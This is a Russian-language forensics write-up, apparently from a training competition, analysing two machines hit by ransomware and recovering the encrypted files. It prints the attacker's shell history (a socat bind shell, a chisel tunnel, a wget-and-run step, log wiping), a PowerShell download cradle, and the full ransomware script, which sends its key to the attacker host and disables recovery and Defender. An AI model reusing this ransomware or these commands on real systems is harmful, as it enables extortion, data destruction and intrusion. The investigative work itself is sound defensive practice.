id;echo 0 > /proc/sys/vm/dirty_writeback_centisecs;exit 11 setsid /var/www/html/chisel client 10.19.200.50:8083 R:socks 2>1 > /dev/null && exit 12 wget http://10.19.200.50/encr.sh -O /var/www/html/encr.sh;exit 13 chmod -R 777 /var/www/html;exit 14 /var/www/html/encr.sh;exit 15 rm -f /var/www/html/shell.php;exit 16 rm -f /var/www/html/encr.sh;exit 17 rm -f /var/www/html/sploit.c;exit 18 cd /var/www/html/ 19 ls 20 setsid /var/www/html/socat tcp-l:8081,reuseaddr,fork exec:/bin/bash,pty,setsid,setpgid,stderr,ctty&&exit 21 id;echo 0 > /proc/sys/vm/dirty_writeback_centisecs;exit 22 setsid /var/www/html/chisel client 10.19.200.50:8083 R:socks 2>1 > /dev/null && exit 23 wget http://10.19.200.50/encr.sh -O /var/www/html/encr.sh;exit 24 chmod -R 777 /var/www/html;exit 25 /var/www/html/encr.sh;exit 26 rm -f /var/www/html/shell.php;exit 27 rm -f /var/www/html/encr.sh;exit 28 rm -f /var/www/html/sploit.c;exit 29 cd /var/www/html/; rm *.encr chisel* socat* sploit*; pkill -f socat; pkill -f chisel; cp /home/debian/drupal-7.54/*.php /var/www/html 30 cd /var/www/html/; rm *.encr chisel* socat* sploit*; pkill -f socat; pkill -f chisel; cp /home/debian/drupal-7.54/*.php /var/www/html 31 echo "" > /var/log/apache2/other_vhosts_access.log; echo "" > /var/log/audit/audit.log 32 ip a 33 cd /var/www/html/ 34 ls 35 rm *.encr sploit* chisel* socat* 36 ps aux | grep socat 37 pkill -f socat 38 pkill -f chisel 39 setsid /var/www/html/socat tcp-l:8081,reuseaddr,fork exec:/bin/bash,pty,setsid,setpgid,stderr,ctty&&exit 40 id;echo 0 > /proc/sys/vm/dirty_writeback_centisecs;exit 41 setsid /var/www/html/chisel client 10.19.200.50:8083 R:socks 2>1 > /dev/null && exit 42 wget http://10.19.200.50/encr.sh -O /var/www/html/encr.sh;exit 43 chmod -R 777 /var/www/html;exit 44 /var/www/html/encr.sh;exit 45 rm -f /var/www/html/shell.php;exit 46 rm -f /var/www/html/encr.sh;exit 47 rm -f /var/www/html/sploit.c;exit 48 pkill -9 -f socat 49 pkill -9 -f socat ``` В директории ```/var/www/html``` находим скомпилированный бинарь ```sploit```, пореверсив который легко понять что это эксплойт на уязвимость ```Dirty COW```, она же ```CVE-2016-5195```. Так же находим зашифрованные файлы с расширением ```.encr```. Попробуем определить, как они зашифрованы: ``` $ file index.php.encr index.php.encr: openssl enc'd data with salted password, base64 encoded ``` В ```kali linux``` есть инструмент ```bruteforce-salted-openssl```, используем его, чтобы попытаться восстановить файл. ``` $ bruteforce-salted-openssl -t 8 -f ~/Desktop/rockyou7.txt index.php.encr ``` Но к сожалению расшифровать не получилось. Попробуем найти сурсы шифровальщика или ключ шифрования. На тачке был замечен ```auditd```, так что посмотрим список правил: ![](https://sun9-27.userapi.com/impg/xANiiVDoy-nUhZq4txzDzSUn_WjLWUfKauQWKA/8mvFWHoYlJ4.jpg?size=699x216&quality=96&sign=81db0065502888c24371b96409e0a161&type=album) Видим, что любые изменения в ```/var/www/html/``` логируются. Заходим в директорию ```/var/log/``` и грепаем все файлы на строку ```openssl``` (т.к. ранее мы определили, что именно ```openssl``` использовали для шифрования файлов). В файле ```messages.1``` находим команды, которые выполнял шифровальщик: ``` Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.253:59600): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/index.php" a7="-out" a8="/var/www/html/index.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.253:59600): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/index.php" a7="-out" a8="/var/www/html/index.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.269:59604): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/authorize.php" a7="-out" a8="/var/www/html/authorize.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.269:59604): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/authorize.php" a7="-out" a8="/var/www/html/authorize.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.277:59608): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/update.php" a7="-out" a8="/var/www/html/update.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.277:59608): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/update.php" a7="-out" a8="/var/www/html/update.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.281:59612): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/install.php" a7="-out" a8="/var/www/html/install.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.281:59612): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/install.php" a7="-out" a8="/var/www/html/install.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.293:59616): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/cron.php" a7="-out" a8="/var/www/html/cron.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.293:59616): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/cron.php" a7="-out" a8="/var/www/html/cron.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.297:59620): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/19FLAG.txt" a7="-out" a8="/var/www/html/19FLAG.txt.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.297:59620): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/19FLAG.txt" a7="-out" a8="/var/www/html/19FLAG.txt.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.305:59624): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/shell.php" a7="-out" a8="/var/www/html/shell.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.305:59624): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/shell.php" a7="-out" a8="/var/www/html/shell.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.309:59628): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/xmlrpc.php" a7="-out" a8="/var/www/html/xmlrpc.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 12:09:08 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.309:59628): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/xmlrpc.php" a7="-out" a8="/var/www/html/xmlrpc.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.253:59600): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/index.php" a7="-out" a8="/var/www/html/index.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.269:59604): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/authorize.php" a7="-out" a8="/var/www/html/authorize.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.277:59608): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/update.php" a7="-out" a8="/var/www/html/update.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.281:59612): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/install.php" a7="-out" a8="/var/www/html/install.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.293:59616): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/cron.php" a7="-out" a8="/var/www/html/cron.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.297:59620): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/19FLAG.txt" a7="-out" a8="/var/www/html/19FLAG.txt.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.305:59624): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/shell.php" a7="-out" a8="/var/www/html/shell.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.309:59628): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/xmlrpc.php" a7="-out" a8="/var/www/html/xmlrpc.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.253:59600): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/index.php" a7="-out" a8="/var/www/html/index.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.269:59604): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/authorize.php" a7="-out" a8="/var/www/html/authorize.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.277:59608): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/update.php" a7="-out" a8="/var/www/html/update.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.281:59612): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/install.php" a7="-out" a8="/var/www/html/install.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.293:59616): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/cron.php" a7="-out" a8="/var/www/html/cron.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.297:59620): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/19FLAG.txt" a7="-out" a8="/var/www/html/19FLAG.txt.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.305:59624): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/shell.php" a7="-out" a8="/var/www/html/shell.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" Mar 5 17:38:22 miad-portal2 tag_audit type=EXECVE msg=audit(1646482147.309:59628): argc=13 a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-a" a4="-salt" a5="-in" a6="/var/www/html/xmlrpc.php" a7="-out" a8="/var/www/html/xmlrpc.php.encr" a9="-pass" a10="pass:2286C8B299" a11="-iv" a12="40C827B72C7494AD3D92B7D4F752846C" ``` Получаем пароль ```pass:2286C8B299``` и iv ```40C827B72C7494AD3D92B7D4F752846C```. Грепаем из корня все файлы с расширением ```.encr``` чтобы найти все зашифрованные файлы: ![](https://sun1-47.userapi.com/impg/0ckqHbqfeCe2k77SGYRSBEyakSNSM-wWuTkuag/A44meJYqYPo.jpg?size=404x211&quality=96&sign=95cffc2acdca2a0f126e7e04665ddd01&type=album) Пишем дешифровальщик: ![](https://sun9-74.userapi.com/impg/qL3VpQaV-IMFEUAsSdRcMbTQ8M3TL5yVXLDn0w/64tCLOLHkj0.jpg?size=1905x517&quality=96&sign=bd93768877e914574d7d3332eb63ecfa&type=album) Выполняем, все файлы успешно дешифрованы: ![](https://sun9-18.userapi.com/impg/ZSsRsA5m1rFrexcG0mUOMEttxrxQVBtTVRo1jA/3atbNP_4wWs.jpg?size=1742x220&quality=96&sign=d2b6819bba5ef1fc5cab11f240b88098&type=album) Так же из логов можно понять что для шифрования использовалось aes cbc шифрование, которое уязвимо к атаке, которая позволяет расшифровать зашифрованое сообщение. ### Машина 10.19.239.6 Подключаемся по ```ssh``` с кредами ```Администратор:Lovely1```. Проходимся по директориям, замечаем в корне диска ```C:``` подозрительный powershell-скрипт ```Ransom.ps1```. Видим, что это вирус-шифровальщик: ``` set-strictMode -version 2.0 function Ransom { Param( [Parameter(Position = 0)] [String] $IP='127.0.0.1' ) $aesManaged=new-object "System.Security.Cryptography.AesManaged"; $aesManaged.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aesManaged.Padding=[System.Security.Cryptography.PaddingMode]::Zeros; $aesManaged.BlockSize=128; $aesManaged.KeySize=256; $aesManaged.GenerateKey(); $IV = [System.Convert]::ToBase64String($aesManaged.IV); $key = [System.Convert]::ToBase64String($aesManaged.Key); $URL="http://$IP/key=$Key&iv=$IV&pc=$env:computername"; try { Invoke-WebRequest $URL } catch { $_.Exception.Response.StatusCode.Value__} $background = "http://$IP/wall.jpg" Invoke-WebRequest -Uri $background -OutFile "/users/$env:USERNAME/wall.jpg" Start-Sleep -s 2 $wallpaper = "C:/users/$env:USERNAME/wall.jpg" Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name Wallpaper -value "$wallpaper" Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -value "10" Start-Sleep -s 2 rundll32.exe user32.dll, UpdatePerUserSystemParameters, 1 , $False vssadmin delete shadows /all /quiet; spsv vss -ErrorAction SilentlyContinue; if(((gwmi -Query "Select StartMode From Win32_Service Where Name='vss'").StartMode) -ne "Disabled"){ set-service vss -StartupType Disabled}; bcdedit /set recoveryenabled No|Out-Null; bcdedit /set bootstatuspolicy ignoreallfailures|Out-Null; spsv Wscsvc -ErrorAction SilentlyContinue; if(((gwmi -Query "Select StartMode From Win32_Service Where Name='Wscsvc'").StartMode) -ne "Disabled"){ set-service Wscsvc -StartupType Disabled}; spsv WinDefend -ErrorAction SilentlyContinue; if(((gwmi -Query "Select StartMode From Win32_Service Where Name='WinDefend'").StartMode) -ne "Disabled"){ set-service WinDefend -StartupType Disabled}; spsv Wuauserv -ErrorAction SilentlyContinue; if(((gwmi -Query "Select StartMode From Win32_Service Where Name='Wuauserv'").StartMode) -ne "Disabled"){ set-service Wuauserv -StartupType Disabled}; spsv BITS -ErrorAction SilentlyContinue; if(((gwmi -Query "Select StartMode From Win32_Service Where Name='BITS'").StartMode) -ne "Disabled"){ set-service BITS -StartupType Disabled}; spsv ERSvc -ErrorAction SilentlyContinue; spsv WerSvc -ErrorAction SilentlyContinue; if(((gwmi -Query "Select StartMode From Win32_Service Where Name='WerSvc'").StartMode) -ne "Disabled"){ set-service WerSvc -StartupType Disabled}; Write-Output "Encryption phase" $encryptor=$aesManaged.CreateEncryptor(); $directory = "C:\Share" $files=gci $directory -Recurse -Include *.txt,*.pdf,*.docx,*.doc,*.jpg; foreach($file in $files) { $bytes=[System.IO.File]::ReadAllBytes($($file.FullName)); $encryptedData=$encryptor.TransformFinalBlock($bytes, 0, $bytes.Length); [byte[]] $fullData=$aesManaged.IV + $encryptedData; [System.IO.File]::WriteAllBytes($($file.FullName+".crpt"),$fullData); Remove-Item $file; } } ``` Можно увидеть что для шифрования использовалось aes cbc шифрование, которое уязвимо к атаке, которая позволяет расшифровать зашифрованое сообщение. Ко всему прочему в директории C:\Share можно увидеть зашифрованные этим вирусом файлы. ![](https://i.imgur.com/MQelMnk.png) Из сурцов малвари видим, что она делает http запрос на ip злоумышленника, передавая ему ключ key и iv: ``` $URL="http://$IP/key=$Key&iv=$IV&pc=$env:computername"; try { Invoke-WebRequest $URL } ``` Идем чекать логи в директорию ```C:\Windows\System32\winevt\Logs```. Для удобства выгрузим логи на машину с kali через scp и преобразуем .evtx логи в .xml файлы для удобства просмотра при помощи утилиты ```evtx_dump```. В лог-файле ```'Windows PowerShell.evtx'``` видим следующие строки: ``` <EventData> <Data><string> try { Invoke-WebRequest $URL } catch { </string> <string> DetailSequence=1 DetailTotal=1 SequenceNumber=24 UserId=company\Administrator HostName=ConsoleHost HostVersion=5.1.14409.1005 HostId=dd041357-e61f-49ab-a3d2-3eb8889b1c5c HostApplication=powershell.exe -ep bypass (new-object system.net.webclient).DownloadFile('http://10.19.200.50/Ransom.ps1','C:\Ransom.ps1');import-module C:\Ransom.ps1; Ransom -IP 10.19.200.50 EngineVersion=5.1.14409.1005 RunspaceId=14636d28-0957-4a86-993f-c7484ffb09a2 PipelineId=1 ScriptName=C:\Ransom.ps1 CommandLine= try { Invoke-WebRequest $URL } catch { </string> <string>CommandInvocation(Invoke-WebRequest): "Invoke-WebRequest" ParameterBinding(Invoke-WebRequest): name="Uri"; value="http://10.19.200.50/key=sc68FMZ8AG35ilcQf+VaimMBAReAG6KIvmYtN2Hgxck=&iv=gU/Nf2uvTJmP3pI/PSa+Kw==&pc=OIK-CLIENT" TerminatingError(Invoke-WebRequest): "<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.52 (Debian) Server at 10.19.200.50 Port 80</address> </body></html> " </string> </Data> <Binary/> </EventData> ``` В которых есть http запрос к машине злоумышленника: ```http://10.19.200.50/key=sc68FMZ8AG35ilcQf+VaimMBAReAG6KIvmYtN2Hgxck=&iv=gU/Nf2uvTJmP3pI/PSa+Kw==&pc=OIK-CLIENT``` Получаем ключ ```key``` и ```IV```. Скачиваем на машину с kali директорию ```C:\Share``` используя scp: ``` $ scp -r Administrator@10.19.239.6:C:\\Share . ``` Пишем скрипт для дешифрования файлов: ``` from base64 import b64decode from Crypto.Cipher import AES import os #import sys key = b64decode("suDAAcy4+1Srzo5b+ljIxYc3wUhof5clyoTRiGaDH40=") iv = b64decode("fURGR+PL4oDfiHI7FZ8fLg==") #AES.block_size = 128 #AES.key_size = 256 dude = AES.new(key, AES.MODE_CBC, iv) dir = "./Share/" def pwn(file): with open(dir + file, "rb") as f, open(dir + file.replace(".crpt", ''), "wb") as pwn: data = f.read() data.replace(iv, b'') dec_data = dude.decrypt(data) #print(dec_data[16::]) pwn.write(dec_data[16::]) files = os.listdir('Share/') for file in files: pwn(file) ``` Выполняем скрипт, файлы успешно расшифрованы: ![](https://sun9-41.userapi.com/impg/83Wq14wN6I5QhddoL1v7VScVZl3rK1HkrFVdTA/aZxh3aAz_FU.jpg?size=1697x499&quality=96&sign=c92ac8f8d0bc02541210772e997c6984&type=album) ## Уязвимости инфраструктуры НТО ### Доступ к инфраструктуре участников Неправильно настроенный межсетевой экран, позволяет получать доступ к сетям других участников. ![](https://i.imgur.com/FP9sDnm.png) Сканирование ```10.14.1.254``` ![](https://i.imgur.com/mcAtwQy.png) Так как у нас есть эксплойт на повышение прав на IDS, доступ к IDS других команд позволяет мешать выполнению задания. ## Творческая часть - Для повышения уровня защищенности инфраструктуры можно повесить 2FA на ssh при помощи ```google-authenticator```.